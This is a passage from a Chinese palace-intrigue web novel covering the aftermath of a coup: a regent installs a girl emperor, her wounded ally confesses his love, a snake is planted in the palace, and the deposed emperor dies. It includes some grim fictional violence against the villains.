萧时运索然无味敛眸:“周惟简,御前失言狂悖犯上是什么罪,用不着我告诉你吧。”
其实真论起来,萧将军才是大逆不道的那个,可成王败寇,周惟简迎着两侧士兵明晃晃的刀刃,心底再恨,也只得咬牙低头。
“皇上恕罪。”
如今担着这个称呼的小姑娘安静靠在萧时运怀里,眉目低垂,温顺得像只兔子。从长安宫到太极殿,萧时运甚至不记得她发出过声音。
即使头上的黑字高得惊人。
她安抚拍了拍周沅,轻飘飘讲:“先帝退位后清闲,殿下正好在宫里多住几日,陪兄长叙叙旧。”
省得放出去再惹事。
周惟简还想再说什么,旁边的士兵及时上前,拱手道:“信王殿下,请。”
周惟简被士兵带走后,萧时运放开周沅,云淡风轻笑:“折腾到现在,皇帝也累了吧?”
周沅抿唇摇了摇头,声音轻细:“将军接下来需要我做什么?”
萧时运起身,只留新帝一个人坐在宽大的御坐上。小姑娘茫然仰起头,神色显出不知所措的慌乱。
“皇帝暂且留在太极殿休息吧。待长安宫清理完毕,会有人迎您过去。”她转头看了眼旁边的青枝,“照顾好皇上,我去看看宫里的情况。”
萧时运到长安宫时,宫人们正在清理地上的血迹,见她进来,慌忙要跪。她止住她们的动作,径直走进君行殿,苏筠正在案前写着什么,丽妃坐在旁边的榻上,神情显出些许紧张。
她的谋士注意到她,暂且搁笔,道:“萧时遇绑了周秉文移送南宫,身边的内侍监和指挥使已经料理干净。只剩后宫嫔妃还关在各自宫里,你打算怎么处置她们?”
萧时运闻言瞥了眼丽妃:“你的意思是?”
“按惯例,有孩子的妃嫔可以去子女府上养老,余下便送去祈福寺。”丽妃犹豫了一下,小声说,“只是周秉文还活着,总不好现在送后妃出家,可若让她们留在南宫继续伺候,未免太可怜。”
“他一个废帝要什么人伺候。”萧时运毫不留情翻了个白眼,“去找几个靠谱的郎中来,没有怀孕的嫔妃找个空宫室集中看管,明年开春放她们出宫。”
虽然周秉文有血脉的可能性不大,但她总归还是要防一下再出个李美人的可能,免得日后有人生事。
丽妃领命离开,苏筠盯着她的背影看了一会儿,问:“你就这么放心她?”
“丽妃没有家世,手段和胆识也撑不起太大的野心。”萧时运心不在焉玩着桌上的镇尺,“用周沅换一个新朝的爵位,对她而言,是最稳妥的选择。”
苏筠听罢也不再纠结,将桌上的东西递给她:“有几件要紧事我做了票拟。旁的都还好说,上直十二卫的新统领,你打算选谁?”
“我明白你的顾虑。”萧时运散漫笑了笑,“但新帝顺利即位,楚指挥使功不可没。有周秉文做例,我们不能让功臣寒心。”
苏筠似乎还想说什么,她虚虚按了一下同伴的肩,笑:“放心吧,我有分寸。”
与苏筠议定几件事,萧时运去了后面的北辰宫。楚庭被救下后,暂时安顿在侧殿养伤。
里间的秦错听到声响,回身的同时手下意识扶上刀柄,见来人是她,又一瞬松懈。
他旁边的少年看起来和周惟简年纪相仿,轮廓与秦错有几分相似,具是风仪明秀,眉眼却还带些少年意气的青涩。
是苏筠与她提到过的,楚庭留在宫里的内应,秦错的弟弟,秦扬。
“楚庭怎么样了?”
秦错低眼沉默半刻,艰难开口:“医官已经处理过伤,但楚大人失血过多,高热未退,能不能熬过去,还要看往后两日的情况。”
萧时运低眼注视着昏迷的楚庭,严重的失血让他显出孱弱的苍白。她轻轻握住搭档的手,指尖搭在脉搏,皮下微弱的跳动几乎让萧将军疑心,他是否真的能撑过今晚。
她和楚大人相识不算太久,最初的结盟也不过各取所需的利用。可如今听着秦错的话,素来见惯生死的萧将军却无端心下一空。
萧时运在这一刻意识到,楚庭死了,她会伤心。
她不想失去他。
这份猝不及防的忧悸几乎让她茫然,是以萧时运安静坐在床边,没有再说什么。室内一时无话,秦错倒水时发现壶中茶已泛凉,正要去换,冷不防听到背后有人讲。
“……你不要说得我好像要死了一样。”
他猛然转过身,旁边没精打采的秦扬也立刻凑到床前:“楚大人醒了!”
楚庭勉强转过头看向三人,依然气息虚弱,问:“周秉文呢?”
“在南宫,他交给你处置。”萧时运看着布条边缘洇开的血迹,按住楚庭的手腕,“先把伤养好,后面慢慢玩。”
秦错见他似想起身,忙阻拦道:“医官说您右侧有胸肋伤折,幸而无移位,没伤到脏器,但总归要养上两三个月。*”
疼痛顺着气流磨过骨边,楚庭敛眸静了一霎,轻声道:“昨夜辛苦你们。去休息吧,我还有事和萧将军说。”
秦错和萧时运对视片刻,无言带秦扬离开,又换了新茶放在外间。
萧时运给搭档喂了点水,楚庭虽说醒了,人看着依然没什么精神。他往萧时运边上靠了靠,恹恹贴着她沉默半晌,说:“我还以为,你会让陈谷杀了我。”
“救你又不碍什么事。”萧时运顿了一下,“也多亏筠筠那一箭,伤养好了,记得去谢谢她。”
楚庭听罢没什么反应,低眼靠在她身边,长睫微颤,不知道在想
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什么。
室内静默良久,他轻轻叹了口气,与萧时运解释:“刘谈在北关没得手,周秉文疑心是内侍监有人走漏风声,让李用追查。李用一早盯上了王忠,误打误撞翻出了崔放的事。”
“至于他怀疑我们……是因为青云阁。”
楚庭出现得突兀,弘昌帝当时心思在萧时运身上,官员递上来的事也算急情,故而只略训了几句,没顾上计较他自作主张替阁部通传。
王忠对于青云阁的事并不知情,周秉文又想起楚庭当日的行为,本着一视同仁的猜忌,打算试一试楚大人的忠心,倒真诈出一个惊喜。
弘昌帝的戒备与多疑让他几乎做出了最正确的反应,却没料到萧将军早已谋算好宫变。
萧时运甚至有点庆幸,幸好弘昌帝发难已是起兵前一日,大部分人手已经到位,南平兴城等地的骑兵也做好了准备。
战场局势瞬息万变,只一天的时间差,与她们而言,几乎算得上老天仁慈。
不等萧将军感叹,她的搭档忽然反握住她的手:“如果我今日死在长安宫,你会难过吗?”
萧时运在那双漂亮的桃花眼里看到委屈的执拗。
是以她好脾气笑了笑:“楚大人这话说的。”
“当然会。”
她用空闲的另一只手拨开楚庭额前垂落的发丝:“我会给楚大人无上哀荣,追封一字王享十六坛祭,把楚寻义从坟里刨出来,和周秉文一道浇成铜像跪在楚大人母亲墓前赎罪,楚大人觉得怎么样?”
楚庭:“……”
“我就多余问你。”楚庭闷闷瞪她一眼,小声说,“但最后那条听起来不错。”
“我没有楚大人想得那么冷情。”萧时运叹了口气,“作为同伴,我怎么可能不担心。”
同伴。楚庭抿唇别开脸,眼底闪过莫可名状的水光:“罢了,倒是我自讨苦吃。”
他声音又低了点:“但也……心甘情愿。”
楚庭抓着她的手往自己心口送,萧时运担心他扯到伤,下意识想按住人,又听见楚庭讲。
“可我不想只是同伴。”他执着仰起脸,“即使是一厢情愿,我也想告诉你。”
“我心悦你。”
她触到指尖心跳怦然。
萧时运和这份不依不饶的执迷对视良久,慢慢笑起来:“如果我说,楚大人并非一厢情愿呢?”
楚庭闻言怔愣半晌,欲盖弥彰别开脸,耳尖微微泛红:“真的?”
“楚大人不信吗?”她俯身贴近他,语气似有无奈,“我的心在这里,你要剖出来看看吗?”
“我……”
萧时运凑得太近,呼吸间气流撞在颈侧,激起细碎的战栗,楚庭下意识想躲,终于毫无意外牵扯到伤口,疼得急促喘了一声。
萧将军见状放开他,给人顺了顺毛:“好好养伤吧,我去周沅那边看看。”
“别走。”楚庭闷闷贴着她的手,“再陪我一会儿。”
抬眼时甚至带了点可怜兮兮的委屈。
萧将军认命叹了口气。讲。好。
-
*我去查了一下,肋骨轻微断裂是可以自愈的。
30. 毒蛇
新帝登基后,萧时运以摄政王身份监国,下旨擢萧时遇为大都督掌军政卫所事。余下众人封爵赐勋各有封赏,从北关带来的人手厚赏后整编驻京营,由大都督府统管。秦错加怀远将军升京卫指挥使,做萧时遇的副手协营。秦扬加明威都尉,在楚庭伤好之前,领鸾仪卫负责御前安保。
萧时运按照约定,给了宋妙静一个荣宁伯的爵位,待到翌年开春处理完先帝嫔妃的事,她便可如愿离京。
拟旨时,宋妙静听到后半句的前置条件,毫不留情翻了个白眼,气呼呼骂萧时运敲骨榨髓,连这一点时间也不让她休息。
“从前看见这些女人就烦,现在还得盯着她们,当真是折磨。”
“不止呢。”萧时运笑盈盈喝了口茶,“还得麻烦荣宁伯帮我挑几位管理宫务的女官,不然我怕是舍不得放你走。”
宋妙静闻言更加柳眉倒竖,嗔怒道:“你怎么使唤起来没完了!”
“库房里的累金丝嵌宝石九凤冠,烧蓝珐琅点翠青雀头面,还有你宫里那些玛瑙冻石珊瑚仿花枝盆景,都许你带走。”
“真的?”宋妙静眼睛亮了一瞬,又狐疑看向摄政王,“你不会赖账吧?”
“我哪有那么恶劣。”萧时运摊手,“不过荣宁伯既要去库房,正好可以带人清点下内帑,户部的老人家天天为国库哭穷,那么多好东西却白白霉放在内宫,也是可惜。”
她若有所思顿了一下,佯装无辜道:“开春前能理完吗?你要不多留些日子?”
宋妙静:……
“就知道你没安好心。”荣宁伯磨了磨牙,“少瞧不起人了,我掌宫务这么多年,对库房可比你想得熟多了!”
萧时运于是笑:“那就有劳娘娘了。”
她把小桃推到荣宁伯面前:“桃姑娘一直跟在我身边,伶俐机敏,想来清盘内帑时,也能为荣宁伯分忧。”
宋妙静看着一脸天真的小丫头,只觉得头更大了。
这不摆明了是坑她带孩子吗!
她这才后知后觉,自己刚刚是不是应该拒绝来着。
怎么和姓萧的多说了两句话,要干的活更多了。
荣宁伯意识到这点,急急忙忙起身告退,头也不回出了长安宫。
再待下去,宋妙静真怕自己明年春天走不成。
难得有功成身退的机会,她才不想继续和这群野心家搅在一起。
宋妙静走后,萧时运去了北辰宫。
楚庭伤好了些,只是这两天人总没什么精神,见她进来,遣退旁边的小侍,低眼静了片刻,轻声说:“上直十二卫由你身边的人统领,会比我更合适。”
摄政王不置可否,伸手戳了戳他的脸,问:“你知道了?”
楚庭躲开萧时运的动作,恹恹瞥她一眼:“内廷影影绰绰在传闲话,说太上皇有个私生子,这些年一直养在京城某个大臣家里。”
他侧过脸,软枕的织花钝钝磨着皮肤,声音又低了些:“与其被人推出来做靶子,倒不如流行坎止,也免得再惹嫌隙。”
“我已经让青枝去查了。”萧时运耐心给人顺了顺毛,“嚼舌根的几个小太监正在宫正司审问,估计很快就有结果。”
她略顿了一下,冷笑:“其实除开那位,还有谁能想出这么意有所指的谣言。”
楚庭没精打采贴着萧时运,一时没接她的话,萧时运正想着怎么收拾周惟简,身边人忽然咬住她的手腕。
犬牙抵在皮肤,不算痛。楚庭抬眼时,她看到她眼底的不安。
萧时运由着他咬了一会儿,才叹了口气:“别乱想了,我没有怀疑过你。”
她轻飘飘与楚庭笑:“楚大人如果真的有心,这流言就能在京城传开了吧,那还轮得到我起兵。”
楚大人闷闷瞪她一眼:“你还挺会说话的。”
他想了想,又道:“重新选一个禁军统领吧,我不想你为难。”
“可……”
“即使能压下流言,这件事于我们总归是个隐患,难保日后不会再有人拿来省事,倒不如彻底断了他们的念想。”楚庭截住她的话,低眼沉默片刻,小声讲,“况且我帮你,本来也不是为这些。”
萧时运闻言神色微动,她注视着自己的搭档,慢慢收敛了方才的调笑:“我明白了。”
“我不会辜负楚大人的真心。”
十一月初,新帝登基后的第一个早朝,楚庭带伤上殿,请辞上直十二卫统领的拔擢。虽说楚大人明面上跪的是皇帝,但朝臣心知肚明,作为废帝曾经的亲信,他这番辞绝,自然是对摄政王的表忠。
话说回来,有太极殿的血迹做例,现在又有谁敢不敬摄政王呢。
最终楚指挥使依然掌缇骑司,另加上将军*衔,秩比三孤。萧时运另挑了自己的亲信青枝领上直十二卫,意有所指与她笑:“好好收拾收那帮废物。”
从宫变那天的表现看,禁军在陈谷手里练的,的确太不像话了。
至于宫里传闲话的那些人,萧时运清查之后,拔了领头几个的舌头,便也没有哪个不怕死的再敢多话。
本着物尽其用的原则,她让人把舌头送给了软禁秋梧阁的信王。
既喜欢搬纯弄舌,就多送你几条好好玩。
小王爷恶心得一天没吃饭。
活该。
和楚大人演完这场戏,萧时运借周沅的名义另下了一道旨意,择资善大夫*苏筠为帝师,入长安宫讲读经史。并追封生母赵宝林为温成皇后,其陪嫁宫女江听雁忠勇有加,追封一等国夫人,谥端肃。
周沅安静听萧时运讲完,脸前垂旒遮去一滴泪。
既要名正言顺,她必须是赵宝林的女儿。
散朝后萧时运和小姑娘回了长安宫,摄政王大人在君行殿批折子,皇上则在隔壁通光阁听苏大人讲席。
听雁照顾周沅那几年,教她认了字,还教了点诗书。小姑娘聪明,学得也认真,苏筠带这个学生,倒也不怎么费力。
萧时运那边则麻烦了点。
新帝临朝之初的折子格外多,大部分都是些请安表忠心的废话,萧时运筛掉这堆没用的东
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西,再从余下各州府和京城的呈报里挑出要紧事批复,有些絮絮叨叨半晌写不到重点,难免看得人暴躁。
好在苏大人教完当日的课业,会来帮摄政王分担一些。
她的筠筠还是一如既往的贴心稳妥。
摄政王和苏大人看折子的时候,周沅会留在通光阁。
小姑娘从前话少,宫变之后就更安静了,锢在层叠的仪仗与冠服里,却是白瓷一样的脆弱与单薄。
面对萧时运她们,头顶黑字高得惊人。
倒也情理之中。
不过摄政王注意到,在苏筠身边,周沅头顶的恐惧值会降一点。
手边要处理的事太多,萧时运没顾上细问。总归小皇帝现在很听话,她也不会与她为难。
就这样又相安无事过了些日子,临近腊月时,她们收到了陆明臣回京的消息。
彼时天阴欲雪,摄政王正与苏大人窝在八卦楼躲懒。周沅刚即位,萧时运担心有个别不死心的东西暗害小皇帝,也嫌大冬天宫里宫外往来折腾,索性和苏筠一起暂住八卦楼。
“他竟然敢回来。”摄政王拿着信与苏筠笑,“也不知道老丞相会不会气得打断他一条腿。”
真想去陆家看热闹。
“陆明臣当然要回京。”苏筠面无表情拨了拨炉内的炭火,“明年春闱参考的生员名单上,有他的名字。”
摄政王听见这话,又看了眼信尾落款的字印,唇边笑意愈浓。以苏大人对自己同伴的了解,她现在心里指不定在打什么坏主意。
然而不等萧时运开口,小桃慌慌张张跑进来,讲,长安宫出事了。
两人到通光阁时,秦扬正跪在屋里,旁边几人脸色都不是很好。秦大人显然被自己弟弟气得不轻,抬手要揍人时,萧都督在旁边拦他,讲,算了算了。
周沅埋在青枝怀里哭得上气不接下气,禁军统领忙着哄孩子,一时也没顾上刚进来的两个人。
萧时运于是戳了戳楚庭,好奇问:“秦扬犯了什么事,这么热闹?”
来的路上她们听小桃大概讲过原委,说是通光阁坐榻的软垫下无端爬出条蛇,青枝在架边帮周沅拿东西,好在秦扬动手快,没伤到周沅。
可护驾有功的这位怎么跪下了。
而且小桃也没说还有其他人。
楚庭在北辰宫,得知消息过来看看倒也正常。但秦错和萧时遇平日常驻京郊,怎么也来凑热闹?
楚大人大概是觉得自己手下干得蠢事丢人,暂且岔开话题:“你不担心蛇的事?”
“鸾仪卫不是已经在查了吗?”萧时运语气听不出什么情绪,“能有资本把手伸进长安宫的,满京城怕是找不出太多。”
冬月云寒冰清,周沅和苏筠都怕冷,通光阁的炭火供得格外足。多半是什么人把冬眠的蛇藏在软垫下,蛇感觉到温度回升,过不了几个时辰也就醒了。
她正想着找什么理由收拾他们呢,这些人倒先自己送上门来。
摄政王按下心底的烦躁,回过神:“所以秦扬到底干了什么?”
31. 恻隐
秦错欲言又止犹豫了片刻,瞪了眼自己的好弟弟,小声讲:“他拎着死蛇凑到皇帝跟前,说这蛇鳞花纹特别好看。”
萧时运:“……”
她不否认秦扬业务能力无可挑剔。
但这小子也是真欠揍。
虽说他们几个,甚至周沅自己,都不太把她当皇帝。
但秦扬在这方面,显然更过分。
“我真的知道错了。”秦扬可怜兮兮抬头求饶,“再也不敢了。”
他小心翼翼打量了一下摄政王的表情,见她若有所思垂眼,面上并未显出愠色,不由松了口气,又忍不住小声嘀咕:“而且那蛇的花纹是挺好看的……像穿了小衣服*。”
秦错听见这话,毫不犹豫给了他一记爆栗:“你还敢多嘴!”
“呜……”
苏筠实在懒得听他们闹腾,走到周沅身边,轻声问:“有没有伤到?”
小姑娘止住眼泪,怯怯抬脸看她,摇了摇头。
萧时运看周沅情绪逐渐平复,头顶的恐惧值也降下来,于是对苏筠和青枝道:“先陪皇上去八卦楼休息吧。”
既然他们能在通光阁放蛇,难保长安宫其他地方没问题。
“至于秦扬。”她漫不经心低眼,“秦小将军救驾有功,自然该赏。”
秦扬揉着头上的痛处,才松了口气,又听见摄政王笑。
“余下的事我就不插手了,两位看着办吧。”
是对着楚庭和秦错说的。
完蛋了。
摄政王果然是魔鬼!
秦扬心中一阵哀嚎,垂头丧气跟着楚庭去追查蛇的来源,萧时运问兄长:“你们怎么在这?”
“京营那边忙得差不多了,来问问你后面的安排,没想到才进长安宫,就听说皇帝出事了。”
那时候青枝已经让小桃去找萧时运,他和秦错刚到通光阁门口,正撞见秦扬闯祸。
不过萧都督并没有把这点小插曲放在心上,只问:“是南宫的余党?”
“看看楚庭他们查的结果吧。”萧时运与两人出了屋子,过廊下往君行殿去,面上看不出什么情绪,“以周秉文现在的状态,只怕是有心无力。”
她前几日去过南宫,即使早有心理准备,摄政王一时也很难把破布里那堆烂肉和曾经高高在上的弘昌帝联系起来。
楚大人养伤无聊,也懒得浪费假期劳神前朝的事,索性来南宫陪太上皇消磨时间。
从眼前的情形看,周秉文显然很好的享受了缇骑司的手艺。虽说时值寒冬,腐肉尚未发酵成难以忍受的恶臭,古怪的腥臭依然一层一层涌上来,满满当当塞进屋子每一个缝隙,挤得人几乎喘不过气。
萧时运只略看了一眼,便打消了带周沅来给生父添堵的念头。
太暴力了,不能吓到小孩。
眼下周秉文也就只剩一口气吊着,秋梧阁那位有传谣的前科在,萧时运其实更怀疑他。
周惟简被她骗进宫软禁,以萧时运对这小子的了解,他定然不会善罢甘休。
只是……
萧时运收回思绪,与萧时遇问过京营的情况,倒也并无不妥。她们商议过后续的安排,秦错打算告退时,却见萧时遇端着茶,神色似有犹豫,问:“你和苏筠在宫里……都还习惯吗?”
摄政王轻飘飘笑了一声:“你还不死心?”
她看了眼一头雾水的秦错,贴心解释道:“萧都督倾慕苏大夫,可惜早年嘴欠讨嫌,到现在还不招人家待见,所以只敢在我这拐弯抹角问一问。”
萧时遇:……
秦错看着大都督的表情,艰难忍住笑,拱手道:“摄政王和萧将军既有家事要谈,下官就不打扰了。”
被戳穿心事的萧都督尴尬叹了口气,挣扎半晌,最终起身和秦指挥使一道告退。
两人离开过约两刻,小桃来回禀,说长安宫各宫室皆查检过,并无异样。近日出入过的宫人已被带去问话,只是有两个粗使太监不见了,鸾仪卫正在找人。
“秋梧阁和南宫有什么动静吗?”
得到否定的回答,萧时运思忖片刻,道:“最近出入过这两个地方的宫人,也一并查问。”
天色一点点沉下来,冬日第一场雪莹莹落在檐瓦。萧时运提灯回了八卦楼,行至北侧宫道,远远却见宋妙静站在楼外。
萧时运饶有兴趣挑眉:“怎么在这淋雪。”
“听说皇帝遇刺,过来看看。”宋妙静扶了一下头上的凤钗,细小的冰晶落在皮肤,留下薄而凉的一星水。她勉强扯了下嘴角,“看你的神色,也不像有什么大事,我先回去了。”
雪下得愈发急,墙瓦转眼积起薄薄一层霜白,萧时运让宫女给宋妙静拿了把伞:“既然来了,就只在楼外看一眼?”
“她又不亲我。”
宋妙静撇撇嘴,到底没好意思把那句我也养了周沅这么多年说出来。
她盯着檐角的鸱吻看了一会儿,忽然问:“你会害怕吗?”
摄政王笑:“怕什么?”
“我方才过来的时候,看见鸾仪卫在井边捞人,说是个太监。”宋妙静闭上眼,“他们把他搬走的时候,我看到了他的服秩,是直殿监的掌印。”
直殿监负责宫廷各殿及廊庑的清扫事务,平日素不起眼,实在不是什么威风体面的好去处。
却也很方便某些人行事。
“他们能把手伸进长安宫。”荣宁伯抿唇静了片刻,忧惶粼粼游过眼底,“无论是周秉文还是周惟简,这至少说明,愿意帮他们的人不少。”
“宣朝从未有过公主登基,更何况以周沅的身世,如果没有你,这皇位无论如何,都轮不到她。”
“他们认下这个皇帝,惧的是太极殿的甲士,是你手里的兵权。”
“你杀了所有人一个措手不及。可那些宗室也不是省油的灯,选一个无依无靠的公主的确方便你的野心,却也天然授人以柄。”
萧时运盯着眼前严妆丽服的女人看了一会儿,平静道:“娘娘害怕了。”
有些日子没人叫这个称呼,宋妙静愣了一霎,别开脸没有说话。
她不是第一次见到死人,在后宫这些年,难免有那么几位间接或直接折在她手里。常言无知者无畏,宋妙静曾经以为,她帮萧时运谋定这一场事,便可功成身退,与这宫墙再无瓜葛。
可今日周沅在长安宫遇刺,宋妙静突然意识到,这不是一锤定音的高枕无忧,萧时运选了一条本朝从未有人走过的险路,而她既上了贼船,同起的另一面,也自当是无处可逃的同落。
“这世上没那么多两全其美的法子,我选了这条路,也就不会后悔。”
“不过这一切很快都和您没有关系了。”摄政王敛眸碾碎指尖的雪粒,唇边笑意散漫,“如果你想,我可以对外宣称荣宁伯病逝,给
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你换个身份。”
朔风凛然穿行过宫道,宋妙静低眼沉默良久,讲。我想留下来。
“我想看看你的结局。”
萧时运并没有回应这份莫可名状的坚决,只笑:“请便。”
她说罢转身进了八卦楼,头上金冠不知承了何处的光,一晃耀目的璀错。
宋妙静在原地驻足半刻,终究回了自己宫室。
如今的八卦楼相比周秉文时,挪去许多奢靡陈设,也不再有丹炉日以继夜烧沸,倒空旷许多。室内炭火烧得充足,隔绝院中严寒,苏筠斜倚在榻边看书,看到萧时运进来,轻声说:“她在楼上。”
萧时运解了大氅上楼,见周沅抱着兔子坐在窗边,长睫低垂,不知道在想什么。
她示意青枝暂且退下,随手拿了块糕点逗兔子。小姑娘犹豫了一下,轻轻捂住兔子的眼睛,小声说:“它不能吃这个。”
周沅说话时,头顶的黑字倒降了许多。
她似乎没那么怕她了。
摄政王见状笑了一声,从善如流接受提醒,自己吃掉了那一小块云片糕。
“长安宫各处都查过,没发现其他不妥。”萧时运低眼喝了口茶,“皇上如果担心,臣这几日会留在长安宫陪您。”
周沅将兔子放在软垫上,抬头看眼前的女人,琥珀色眸子里盛着清亮的困惑与茫然,问:“为什么要救我?”
萧时运闻言微怔,疑惑戳了戳小姑娘的脸:“你觉得,我很希望你被蛇咬死?”
她动作顿住,语气多出几分警惕:“是不是有人和你说过什么?”
周沅摇了摇头,垂眸讲:“我以为,你让青枝姐姐和秦扬在我身边,只是为了监视我。”
“我不明白,你为什么不趁这个机会杀了我。”
从即位到现在,小皇帝还是第一次这样直白的坦露心迹,是以萧时运安静等她接下来的话,并没有多说什么。
小姑娘沉默了很长时间,才再次开口:“让我死在通光阁,然后再伪造一封禅位诏书来改朝换代,不好吗?”
萧时运在那一刻想。到底还是个小孩子。
摄政王无奈叹了口气:“哪有这么容易。”
“傻姑娘,我们眼下是一根绳上的蚂蚱。”她看着她,字句轻缓,似淡而无味的宽宥,“如今整个京城最怕你出事的,就是我。”
虽说公主即位的法理性没那么稳固,可眼下周家皇室影响力仍在,萧时运要是敢自立,只怕立刻就会面对各地宗室群起而攻的局面。
她需要周沅这个承继于弘昌的正统。
“直殿监的掌印死了,长安宫失踪的两个粗使太监多半也是同样的下场。”她云淡风轻与小皇帝笑,“群敌环伺,还远不到你我反目的时候。”
周沅怔怔看着眼前的女人,又见她叹气。
“我也的确舍不得你死。”
“这话说出来大概没人当真。”萧时运自嘲一般勾唇,倾身凑近了些,“但至少现在,你可以尝试信任我。”
银烛爆开窸窣的灯花,红影飘摇间,周沅垂眸静默良久,轻声讲。我相信姐姐。
我相信你这一瞬的心软是真。
-
*蛇穿小衣服这是个梗……当年乎子有个天才题主提问这是什么蛇,像穿了小衣服。
呃,如果我没记错,是舟山眼镜蛇。
秦扬,一款全自动闯祸机(。
32. 废帝殁
年关前两日,南宫来报,周秉文死了。
南宫本就荒凉,腊月里又下了几场雪,这几日化雪,更加冻得人熬不住。周秉文实在吃不了这样的苦,便哀求南宫的看守给他盆炭火。他嚷了好几次,惹恼了外面的守卫,其中一人随手从身边炭盆夹了块烧得正旺的碳,扔进栅栏,砸在周秉文身上。
守卫扔完就回值房烤火了,听着里面的惨叫,只以为是烫的。未想炭块的余火烧着了太上皇身上的碎布,等他们发现不对,人已经熟了。
熟了(物理)。
还有点糊。
临近年关,前朝暂且消停下来,今日原无甚要事,几个人都窝在长安宫消闲。萧时运正在想初一百官朝拜的事,心不在焉听罢,随口道:“葬个空棺做做样子,尸体拿去喂狗。”
她是不可能让这玩意去皇陵给姑姑添堵的。
摄政王想了想,又道:“年后再发丧吧,怪晦气的,别碍着大家过年。”
周沅欲言又止抬头,摄政王感觉到她的视线,试探问:“要不丢去乱葬岗?”
小姑娘见萧时运误会了她的意思,抿唇犹豫片刻,小声说:“我只是担心狗撑坏肚子。”
重点在这吗。萧时运没忍住笑出声来:“放心吧,京营里那些狼狗很能吃的。”
好了伤疤忘了疼的秦扬从外间探出头:“其实也可以在宫里支个摊子,一文钱削一块肉,宫女们应该挺乐意买来解恨的。”
秦扬上次闯祸后一直被勒令待在外间,萧时运另调了北关一位和青枝同在御侧护卫。不过周沅似乎并没有很讨厌他,是以秦小将军时不时还会凑上来刷些存在感。
而上将军毫不留情斜横他一眼,把那颗脑袋按回隔断架后:“闭嘴。”
周沅在冷宫消息闭塞,苏筠在宫里没待几天周秉文就退位了,也不知内情。萧时运想了想前世宫里的情形,与两人解释道:“周秉文只信没有后路的阉人,对御前伺候的宫女格外苛刻,稍有不顺心便斥责惩罚,或发落去掖庭做苦役。且他在临幸宫女后,会给她们灌下绝育的汤药,也不给位分,依然只是宫女的份例。”
“因此弘昌时,长安宫对宫女而言,实在不是什么好去处。”
宋妙静在宫里看了这些年,难免物伤其类,也觉得周秉文这事干得缺德,便和萧时运商量,借新帝的名义赦免了那些无故受罚的小宫女。是以周沅入长安宫后,最先松了口气的,就是这些姑娘。
“那个药可吓人了!”秦扬的声音从架子后斜插进来,“我听宫女们私下议论,说喝了会腹痛不止,还会……会出血什么的。太医院都知道是周秉文的意思,也不敢治。有些身子弱受不住,就只能生生熬死。”
楚庭正准备去训人,听见苏筠问:“周秉文不是子嗣单薄吗,为什么要作这种孽。”
“因为周秉文下贱。”他厌恶道,“宫女大多是穷苦人家的姑娘,由内侍省采买入宫。周秉文嫌她们出身低,不配诞育皇嗣,也不给位分。”
弘昌时,宫里册封嫔妃,哪怕只是个宝林,家里人总也是有官身的。
萧时运放下手里的年节礼单,接着楚庭的话继续道:“周秉文的生母是花房的莳花宫女,直至道永帝崩逝,家人也没混上什么像样的差事。他对此一直耿耿于怀,觉得自己是被生母的出身拖累,才不受道永帝重视。”
心善者以己度人,将这份苦转为对弱者的怜悯,而周秉文却深以为耻,在掌控权力后,又将这份扭曲的自卑发泄在那些无辜的姑娘身上。
最初那几年有姑姑在,他多少还收敛些。及至前世她进宫时,宫女们谈及御前的差事,却已是满眼恐惧。
萧时运一向有仇必报,也实在看不上周秉文这种下作行径,是以她上位后特意吩咐过,把周秉文阉了,割下来的东西自产自销,权当给太上皇改善伙食。
自从她知道姑姑病逝是周秉文的手笔,她就想好了这份新仇旧怨的清算。
他值得的。
周沅听他们讲完,安静垂眼坐在一边,一直没有说话。萧时运看她的表情,安抚拍了拍小姑娘,问:“吓到了?”
小皇帝摇了摇头,小声说:“我从前以为,他只是不喜欢我。却没想到,他对旁人也是如此。”
萧时运愣了一下,旁边的苏筠先开口道:“这不是你们的错。”
“周秉文为君失德,为人不善,落得如今下场,也是他应得的。”
周沅静了片刻,轻声岔开话题:“春雨说,荣宁伯前几日染了风寒,我想去承明宫看看她。”
萧时运闻言有些意外:“去吧。不过你也不用担心,她没什么事。”
外间的秦扬听见皇帝移驾,又从阁架后探头:“让我跟着护卫吧,我保证不惹事。”
楚庭抬手就要揍:“你没完了是吧。”
“这本来不就是鸾仪卫的职责……”秦扬小声嘀咕道,“就算不许我在皇帝跟前碍眼,我跟在后面总可以吧。万一有什么事,我还能救驾。”
青枝闻言看过来:“秦小将军不放心我?”
秦扬立刻否认:“没……没有!”
他蔫巴巴垂下头:“我只是想跟在皇上身边。”
见上将军真要揍人,周沅轻轻拉了一下萧时运的袖子,声音轻细:“让他跟着吧,没关系的。”
不然秦扬还不知道会闹腾到什么时候。
苏筠也在这时起身,萧时运对上她的视线,笑:“外面天寒雪滑,若时间太晚,就歇在云骑都尉府吧,那边一直留着人。”
她的同伴抿唇别开脸:“不会很久。”
楚庭兴致缺缺看几人离开,听见萧时运笑:“秦扬和他哥哥倒是两个性格。”
“秦错没少为这小子头疼。”他懒洋洋倚在桌边,“你别看他现在闹腾的没个正形,我当初找到他的时候,这小子跟疯狗一样,人都被绑住了,还硬生生下嘴咬断了衙役的喉管。”
“有意思。”萧时运目光里露出一点赞许,支着下巴看向自己的搭档,“一直没顾上问楚大人,秦错他们是什么来历。”
"南直道的镖师。他们运气不好,卷进当地官员内斗,道署想让他们背杀人截货的锅。事情闹得太难看,还牵扯上市舶司的太监,周秉文于是让我去看看。"
楚庭找到他们的时候,两个人刚落
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在南直道署的人手里。秦扬因为先前的挣扎,被打得也就还剩一口气。楚庭把人从道署抢下来,秦错不知道他的来历,只哀求他放过他弟弟,他愿意认罪抵命。
楚大人找了郎中救秦扬,然后用他们的证词收拾掉了南直那几个蠢货。彼时楚庭正缺人手,见两人身手不错,索性给两人换了身份,放在缇骑司做暗哨。
萧时运听罢忍不住叹了一句:“那个案子斗得南直道官场大换血,他们能活下来,也真是惊人的好运气。”
她又笑:“不过秦扬有一点挺像楚大人的。”
上将军不明所以:“你指什么?”
“黏人啊。”萧时运摊手,“你看秦扬跟在周沅身边的样子,狗里狗气的。”
楚庭:“……”
“你说我是狗?”楚庭半撑着椅背,凑近萧时运颈侧,佯怒道,“那摄政王应该知道,狗是会咬人的。”
萧时运没拦楚庭的动作,抬手向身后摸了摸他的脸。楚庭头压在她肩上,蹭了蹭搭档的脖子,轻声讲。我会让秦扬注意分寸。
“早知道让他去京营了。”萧时运心不在焉笑了一声,“他和萧时遇在闯祸这方面,应该挺有共同话题的。”
楚庭好奇抬眼。
